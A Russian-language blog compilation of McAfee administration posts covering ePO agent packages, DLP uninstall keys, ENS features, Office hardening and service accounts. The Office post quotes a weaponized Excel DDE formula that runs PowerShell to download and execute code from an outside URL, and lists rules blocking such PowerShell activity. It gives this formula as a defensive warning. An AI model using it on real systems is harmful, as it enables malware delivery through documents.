Мой блог в глазах McAfee.

Привет привет.

На выходные меня порадовал читатель тем что мой блог попал в категорию McAfee. Примерно вот так кричит его браузер Chrome на любую страничку моего блога.

Печалька. Как вы понимаете, в этом повинен не сам браузер, а плагин McAfee который решил взять на себя функцию защиты пользователя от..., вот тут я не знаю от чего ибо: 

• мой блог вполне успешно у него же открывается в Firefox;
• мой блог точно не содержит никакого рotential illegal software. Это Блог, а не репозиторий софта!

Разумеется узнать на что именно у McAfee такая реакция невозможно. Могу предположить что такое поведение либо от блока рекламы, либо реакция на перекрестные ссылки на мои же сайты в ru-зоне. В любом случае борьба с этим бесполезна, потому как время от времени рейтинг блога повышается в глазах McAfee). Ах да, McAfee теперь под крышей Trellix. В общем я вас предупредил.

Удачи.

Привязка агента McAfee к серверу ЕРО.

Всем привет.

Как то раз наша техподдержка случайно установила агента McAfee не подходящей версии. Все бы ничего но дело в том, что пока агент McAfee не синхронизирует свои политики с сервером EPO он включает у себя по умолчанию McAfee Firewall. И начинаются траблы с доступом...

Поэтому с пакетом агента McAfee надо соблюдать не только версию, но и еще и зависимость от конкретного сервера EPO. А тут особенность - несмотря на то что я создаю пакет установки агента (рисунок ниже) где выбираю всех обработчиков, пакет привязывается исключительно на один сервер.

Как проверить на какой же? Пакет агента создается как FramePkg.exe, но тем не менее это тот же ZIP архив. Поэтому откройте его архиватором и извлеките из него файл SiteList.xml. Далее находим сверху строку типа:

Name="ePO_Forza" Server="ePO_Forza.forza.com:8888" ServerIP="192.168.1.11:8888" ServerName="ePO_Forza:8888"

Сервер еPO_Forza.forza.com и есть тот самый EPO к которому будет стучаться наш новоиспеченный агент.

Успехов.

Безопасность в MS Office.

Всем привет.

Как показывает практика популярным потоком заражения любой компании вирусом является  путь забрасывания файлов (обычно email) как документов на канцелярию, бухгалтерию, и, реже, на само руководство. Руководство на такие документы ведется редко, а вот какой-нибудь бухгалтер может с перепугу и открыть его если в теме будет красоваться типа "Неуплаченные налоги на...".

Поэтому правильная настройка офисных инструментов это половина успеха, вторая половина это обучаемость персонала как минимум не открывать документы полученные по почте, если там вдруг всплывает просьба о включении макроса или обновления внешних связей. Потму как, к примеру, наш добрый Excel легко допускает в формулах такое:

=cmd|' /c C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -nop -NoExit -c IEX ((new-object net.webclient).downloadstring(\"http://cloudfront.com/1.dat\"))'|A0'

Про самообучаемость я писал ранее, а сегодня говорим про техническую сторону зашиты, по презентации Владислава Радецкого.

Что же следует сделать в MS Office? Определить следующие параметры.

Параметры ActiveX/Параметры для все пpиложений Office:

Выбрано - выводить запрос перед включением всех элементов управления с миниимальными ограничениями

Включено - безопасный режим (помогает ограничить доступ элементов управления к вашему компьютеру)

Защищенный просмотр: выбраны все три.

Для MS Word -

Параметры макросов:

Выбрано  - Отключить все макросы с уведомлением

Отключено - Доверять доступ к обьектной модели проектов VBA.

Для MS Excel -

Внешнее содержимое/Параметры безопасности на подключение к данным:

выбрано - запрос на подключение к данным.

Параметры безопасности для связей в книге:

выбрано - запрос на автоматическое обновление связей в книге.

Если вы используете McAfee ENS, то активировать следующие политики в Policy Category/ Exploit Prevention для всех типов обьектов:

6131 T1047 - Weaponized OLE object infection via WMI: Block+Report

6109 T1407 - Powershell - Suspicious wmi script execution: Block+Report

6108 Powershell - Suspicious downloading string execution: Block+Report

6127 Suspicous LSASS Access from Powershell: Block+Report

Успехов!

Удаление McAfee DLP Endpoint.

Всем привет.

Бывают ситуации когда хост по каким-то причинам не может достучаться до своего ЕРО-сервера. Но еcть необходимость переставить или снести штатно математику клиента McAfee.

Если известен пароль супер-админа то с этим проблем не будет, кроме удаления модуля "DLP Endpoint". DLP Endpoint требует для себя небольшого устного диалога с сервером ЕРО.

Итак заходим в ЕРО и выбираем меню "DLP Help Desk".

Далее указываем:

1) Тип ключа - ключ удаления.

2) Пароль обхода клиента: 

- тут нужно выбрать имя политики и ее редакцию. Где их найти? Находим нужный хост в Дереве систем. Далее идем на закладку "Продукты" становимся на строку "DLP Endpoint" прокручиваем вниз до "Политики DLP". Там запоминаем имя политики и ее версию (редакция).

3) Идентификационный код получаем с искомого хоста запустив на нем деинсталляцию "DLP Endpoint".

4) Жмем "Создать ключ" и получаем код переноса, который и является искомым ключом удаления. Вводим его на хосте. Деинсталляция пошла.

Имя пользователя, имя хоста и email можете указать любой. Эти значения на ключ удаления не влияют.

Успехов.

McAfee Artemis смена IP-адреса.

Всем привет.

Бывает что для McAfee Artemis меняются IP-адреса AE-сервера, которые прописаны в ветке реестра  HKLM\SOFTWARE\McAfee. 

Разумеется, их можно поменять либо через GPO либо из командной строки выполнив команду под учеткой администратора:

reg add "HKLM\SOFTWARE\McAfee\GTI Enterprise Server" /f /v "AEServer" /t REG_SZ /d "192.168.1.13,192.168.1.12"

Но даже в этом случае вы получите сообщение "отказано в доступе" потому как McAfee защищает свои данные  в реестре особо. Поэтому предварительно  надо зайти в McAfee Еndpoint Security и в общих параметрах отключить самозащиту для реестра. 

Все.

Технология Artemis от McAfee.

Всем привет. 

Есть такая технология Artemis от McAfee которая использует для обнаружения вредоносного ПО не локальную базу данных, а онлайновое хранилище цифровых подписей, обновляющееся практически в режиме реального времени. При выявлении подозрительного объекта система Artemis связывается с центральными серверами и проверяет, не представляет ли этот файл угрозы для пользователя. Весь процесс занимает минимум времени и никак не отражается на быстродействии клиентской системы. 

Но вот с ее сообщениями надо быть на чеку. Недавний тест показал что Artemis может путать пользователя. Взгляните на сообшение внизу. Artemis отработал, но дело в том что файла с таким именем в той папке никогда не было. Там был другой исполняемый файл, который и был убит.

Такие дела.

McAfee против Windows Defender.

Всем привет.

Вчера меня порадовал в очередной раз McAfee. Дело было не столько в нем сколько в Windows Defender который никак не хотел сдавать своих позиций после того как у пользователя появился McAfee. Поэтому при очередном обновлении McAfee уже Windows Defender не выдержал и начал кричать "Караул!"

И выглядело это так:

Но когда два антивирусника сражаются за файлы одной системы жди сюрпризы. Поэтому лучше их помирить пока не поздно.

Это похоже на устаревшую сигнатуру MS или устаревшие сигнатуры Defender или устаревшую версию ENS. В любом случае что-то давно не обновлялось. Прежде всего следует обновить сами сигнатуры как ENS так и Windows Defender.

Копнули глубже - оказывается при штатной установке ENS в зависимости от версии ОС, установка ENS не всегда приводит к отключению Defender. Поддержка McAfee считает что нормальным. 

Обновляемся.

Story Graph в McAfee.

Всем привет.

В McAfee ENS 10.7 появилась новая функция Story Graph. Story Graph - это удобная визуализация обнаружений угроз, не связанных с использованием файлов (еРО\Threat Event Log).

Диаграмма истории в журнале событий угроз – это визуальное представление обнаружений угроз, не связанных с использованием файлов. Можно изучить контекст угроз, просмотрев подробные сведения о событиях, которые привели к обнаружению. Диаграмма истории помогает определить выполнение, причину, по которой ATP распознает это выполнение как вредоносное, источник и точку цепи атаки, на которой модуль ATP остановил угрозу.

Весьма полезная функция для аналитика.

McAfee из командной строки.

Всем привет.

В новом  McAfee ENS 10.7 много нового и полезного:

• Enhanced Remediation – отчет изменений подозрительных процессов (Rollback)

• Real Protect enhanced script scanning – улучшенная защита от fileless атак

• Story Graph – визуализация сработок на атаки (еРО\Threat Event Log)

• Command Line Scanner (amcfg) – запуск ODS с CLI / bat / MAR / EDR

• Update command line interface (amcfg) – обновления с CLI / bat / MAR / EDR

• On-demand scan CPU throttling – настройка утилизации CPU при сканировании

• Reputation source configuration – выбор между GTI + TIE либо один из двух

• Log all files scanned by ODS – лог файлов проверенных ODS

Меня лично порадовало наличие механизма  CLI для выполнения ряда задач. Например ситуация - используя модуль Application Cоntrol мы имеем полный контроль над запуском сторонних процессов, которые не входят в белый список. Но для обновления штатного софта это список надо либо пополнять либо временно отключать  Application Cоntrol. Что имеем? Обычно выполняются программы только из белого списка и известные McAfee по репутационной базе, которая сверяется с mcafee.com. Т.е., к примеру, обновления для Windows будут устанавливаться без проблем, а вот обновления для MEDoc – нет.

Для обновления MEDoc нужно перевести его хост в режим обновления, после этого все новые программы попадут в Белый список.

Перевести в режим Update можно 2-мя способами - из ePO и из командной строки. Сегодня оценим простоту выполнения это операции из командной строки.

McAfee Access Protection на архив.

Всем привет.

Этот способ я подсмотрел у Владислава Радецкого.

Известно что сегодня самая популярная схема вирусной атаки выглядит так: email attach .PDF > URL > .ZIP > .JS > GET .EXE > encrypt. Она может меняться от количества ступеней, но наличие в ней архивного файла почти аксиома. Тем более что все почтовики запрещают пересылку или прием файлов в открытом виде, только архивом.

Если по каким-то внутренним причинам вы не можете, или не хотите полностью отключить WSH или хотя бы заблокировать сетевой трафик для wscript/cscript или усилить фильтрацию Web и Email, то Владислав предлагает еще один способ - главное нужно сделать так, чтобы жертва (пользователь) не смогла кликнуть и запустить скрипт на выполнение. Скрипт жертва может получить через почту (архив в аттаче) или через Web (ссылка на файл). Т.е. надо не дать пользователю его распаковать.

Необходимо выбрать единственный архиватор для всех систем. Это правило хорошего тона  для фирмы, хотя это и не критично. Пример правила запрета предлагается с использованием 7zip, но его можно модифицировать под другое приложение (или архиватор). Единственный архиватор нужен для того, чтобы присвоить ему и только ему открытие/распаковку архивов разного типа (ZIP, RAR, LZH, 7Z etc). Как это сделать в Access Protection для McAfee ENS показано здесь.

Со своей колокольни кроме всего прочего я бы включим сюда ограничения для плагинов популярных файловых менеджеров Far, библиотеки 7z.dll и arclite.dll. А также для архиваторных wcx-плагинов в Total Commander Mulitarc и плагина внутреннего просмотра ArchView. 

Потому как есть продвинутые пользователи которые могут легко развернуть полученный архив прямо в файловом менеджере. 

Успехов.

McAfee backup.

Всем привет.

Всем хорош McAfee, но вот некоторые настройки хотелось бы сохранить чтобы повторно не вспоминать где да как. Ну политики EPO очевидно вручную бекапируются в xml-файл в  соответствующем разделе. Собственно там и где они и настраиваются.

А вот настройки DLP-модуля имеют свой бекап. Идем так: Параметры DLP, Резервное копирование и восстановление, а дальше очевидно. Получите zip-файл всех настроек вашего DLP.

Необходимо также включить расписание для встроенной задачи "Моментальный снимок состояния сервера для аварийного восстановления." Береженого бог бережет.)

На сегодня все.

Rogue System Sensor.

Всем привет.

В McAfee есть весьма полезная опция - Rogue System Sensor. Это опция которая позволяет вам организовать поиск хостов в вашей сети, которые не пока имеют отношения к защите McAfee. Т.е. на них по забывчивости, или другой причине, не установлен агент McAfee. Так вот Rogue System Sensor устанавливается на выборочные хосты и сканирует подсеть хоста на предмет таких сироток.

Результат попадает в панель Detected Systems. К сожалению туда попадает все до чего Rogue System Sensor смог дотянутся, т.е. и линукс хосты и активное оборудование и принтера, и даже смартфоны. Поэтому работу Rogue System Sensor лучше фильтровать заранее  с помощью исключения подсетей из скана либо с помощью фильтра по OUI.

The OUI (Organizational Unique Identifier) is used to identify the vendor, manufacturer or other organization of a particular piece of equipment. ePO uses this to identify the vendor of a specific network interface controller (NIC) whether physical or virtual. This information is maintained by the IEEE Registration Authority.

Самое полезное это то что прямо с панели Detected Systems вы можете инсталлировать агента на беспризорные хосты. Однако тут могут возникнуть проблема - агент по разным причинам может не установится. 

Сообщения неудачи могут говорить о многом, каждый случай приходится разбирать отдельно.

"Не удалось проверить подлинность удаленной системы, системная ошибка: Параметр задан неверно."

Причины:

-хост назначения не является Windows хостом. 

-хост назначения недоступен. 

-указаны не верные креденшелы для выполнения операции. 

"Не найдено сетевое имя ИЛИ Не найден сетевой путь."

Причина - хост назначения недоступен. 

Бывают и другие сообщения, но реже, их анализ проведу позже.

Успехов.

DLP от McAfee.

Всем привет.

В McAfee есть отличный модуль Data Protection. Который как раз и предназначен для организации процесса мониторинга использования съемных носителей на фирме. Но есть нюанс.

Независимо от принятой политики запрета в журнал DLP Incident Manager попадает информация об используемом носителе. Если это была флешка то устройство вполне адекватно определяется и по имени и по ID.

Пример:

Device Friendly Name : JetFlash Transcend 32GB USB Device

Device Description: Disk drive

Instance ID :         USBSTOR\Disk&Ven_JetFlash&Prod_Transcend_32GB&Rev_8.07\

USB Serial Number: 5200843DFE9E5685

Если это была не флешка, а например, смартфон, то все намного печальнее.

Пример:

Device Friendly Name : Remote NDIS based Internet Sharing Device

Device Description: Remote NDIS based Internet Sharing Device

USB Serial Number: KFKF5L8PMR09CIAU

Instance ID :         USB\VID_04E8&PID_6863\5200843DFE9E7785

USB (VID/PID Codes): 04E8-6863

Как видно в этом случае имя устройства безликое. А по VID/PID кодам можно только делать догадки ибо про их идентичность сейчас мало кто из производителей заботится. Ну разве что серийный номер нам сможет что-то сказать.(

Ну такое.

Учетки для McАfee.

Всем привет.

В Active Directory существуют неперсонифицированные пользователи для сервисных функций сторонних комплексов. 

Например пользователи для антивируса McАfee:

1) mcafee-bd    - учетная запись для связи с базой данных McAfee

2) mcafee-admin   - учетная запись для FrontEnd McAfee

3) mcafee-sync   - учетная запись для синхронизации  данных с AD     

4) mcafee-dlp – учетная запись для сервиса DLP

5) epo-email – учетная запись для посылки алертов по почте

6) mcafee-agent – учетная запись для установки агентов McAfee.

И разумеется согласно политике безопасности фирмы им надо менять периодически пароль. Так как пользователи расположены в ЕРО McАfee в разных местах то я ниже покажу где же найти каждого.

И так поехали.

forza.com\mcafee-bd   - меняем пароль пользователя для связи с базой данных MS SQL.

forza.com\ mcafee-admin -  меняем пароль пользователя и сразу проверяем ее работу. На ePO для него ничего делать не нужно.

forza.com\mcafee-sync      - меняем пароль синхронизации объектов с AD, заходим на ePO и  вносим соответствующие изменения. Из основного меню: Зарегистрированные серверы - Сервер LDAP – forza.com 

forza.com\mcafee-dlp  - сначала меняем пароль пользователя  в AD. Заходим на ePO и  вносим соответствующие изменения из основного меню - Параметры DLP. Но этого не достаточно!

401-я ошибка в McAfee ЕРО.

Всем привет.

Для входа в панель McAfee ePolicy Orchestrator 5.х.х нужны имя адлмина ЕРО и его пароль. Все как обычно, но можно на входе получить 401-ю ошибку на ровном месте. При верном вводе имени и пароля. 

Что такое 401-я ошибка?

Код ответа на статус ошибки  HTTP 401 Unauthorized клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.

Этот статус отправляется с  WWW-Authenticate, который содержит информацию о правильности авторизации.

Сам ответ может выглядит так:

HTTP/1.1 401 Unauthorized 

Date: Wed, 21 Oct 2018 07:28:00 GMT

WWW-Authenticate: Basic realm="Access to staging site"

Это в теории. На практике проблема решается просто. Достаточно вернуться на первую страницу входа в ЕРО переключить вход панели на Английский язык и тут же вернуть ее на Русский. Все, мы вошли.

Успехов.